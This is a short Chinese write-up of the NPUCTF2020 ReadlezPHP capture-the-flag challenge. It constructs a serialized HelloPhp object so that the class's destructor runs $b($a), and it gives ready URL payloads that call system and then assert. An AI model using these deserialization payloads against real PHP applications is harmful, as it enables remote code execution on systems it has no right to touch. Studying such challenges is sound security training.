[NPUCTF2020]ReadlezPHP与assert函数利用

在URL前添加view-source:即可查看源码 

点击/time.php?source跳转如下页面

创建一个HelloPhp类和两个变量$a和$b，将a初始赋值"Y-m-d h:i:s"，b初始赋值"date"，最后输出$b($a)，显然b括号包含a，如果将b赋值为函数，a赋值为命令，是否可以执行需要的命令呢？如果以get方式提交source则终止程序，以get方式提交的data则反序列化data，所以我们需要传入序列化后的值执行我们需要的命令

我们将a更改为phpinfo()，b更改为system，以序列化方式输出新构造的HelloPhp类

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "phpinfo()";
        $this->b = "system";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;
echo serialize($c);

//if(isset($_GET['source'])){highlight_file(__FILE__);die(0);}@$ppp = unserialize($_GET["data"]); 
?>

构造payload：?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"system";}

返回时间，并没有执行我们期望的命令，应该是被过滤了

首先这里需要利用assert函数，assert会判断应该表达式是否成立，返回true或false，is_numeric函数将检测变量是否为数字或数字字符串，代码如下

<?php
$a = "123";
echo assert(is_numeric($a));
?>

将system改为assert

payload：

?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}